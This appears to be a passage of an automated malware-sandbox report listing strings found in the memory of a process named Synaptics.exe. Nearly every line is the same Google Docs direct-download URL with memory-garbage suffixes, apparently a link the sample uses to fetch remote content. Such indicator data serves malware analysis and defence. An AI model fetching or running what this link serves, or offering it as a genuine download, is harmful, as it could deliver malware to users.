Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.goo
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.goo$V
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.mSQx2.
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.origarv2e
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.rV01
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.000000000717F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.000000000720B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/Driv%
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/J_4
Source: Synaptics.exe, 00000004.00000002.2282243758.00000000120BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0:y2
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0=
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2276956037.000000000E828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0B
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0KB7
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0ef1%
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download0i
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.0000000007160000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000072BB000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2275067103.000000000E72D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1B
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1V
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download1e
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2276956037.000000000E828000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2
Source: Synaptics.exe, 00000004.00000002.2258481290.0000000007160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2024
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download24
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download2419
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.000000000720B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3%
Source: Synaptics.exe, 00000004.00000002.2258481290.000000000717F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3&
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3-
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3;
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3OC3
Source: Synaptics.exe, 00000004.00000002.2293795821.000000001A03E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3h
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3m
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4
Source: Synaptics.exe, 00000004.00000002.2258481290.0000000007160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download42
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4;
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4NF0%
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download4P
Source: Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2275067103.000000000E72D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download5JE4
Source: Synaptics.exe, 00000004.00000002.2258481290.000000000717F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download6Ix5k
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download7L
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download85a1-
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8JJ4
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download8kn3
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2275067103.000000000E72D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download9:55:B
Source: Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2274065049.000000000E695000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:
Source: Synaptics.exe, 00000004.00000002.2258481290.0000000007160000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:0
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download:pj2
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.000000000720B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;NK0$
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;P
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;b
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2275067103.000000000E72D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2274065049.000000000E695000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download=IM5j
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.000000000720B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download?DO6
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2275067103.000000000E72D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadAGEA
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadA_282c
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadB
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBMt1
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBWj0L:
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBqr1&
Source: Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadBu
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.000000000717F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.000000000720B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadC:
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCIs5l
Source: Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadCrossd
Source: Synaptics.exe, 00000004.00000002.2258481290.000000000717F000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2251508096.0000000000711000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadD:M2
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDHv2U
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2303160950.000000001CEA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDe
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDeBf
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDejg
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDene&
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDenet
Source: Synaptics.exe, 00000004.00000002.2299780321.000000001CD08000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDenett
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDer1&
Source: Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadDrive
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2275067103.000000000E72D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE
Source: Synaptics.exe, 00000004.00000002.2274065049.000000000E6C1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2258481290.00000000071C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEAAV
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEVGxu
Source: Synaptics.exe, 00000004.00000002.2254936918.00000000055A2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadEt
Source: Synaptics.exe, 00000004.00000002.2273054841.000000000E60C000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2277937409.000000000E8C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.0000000005576000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2271825040.000000000E542000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2254936918.00000000054E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadF
Source: Synaptics.exe, 00000004.00000002.2301489597.000000001CDAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadFKh7
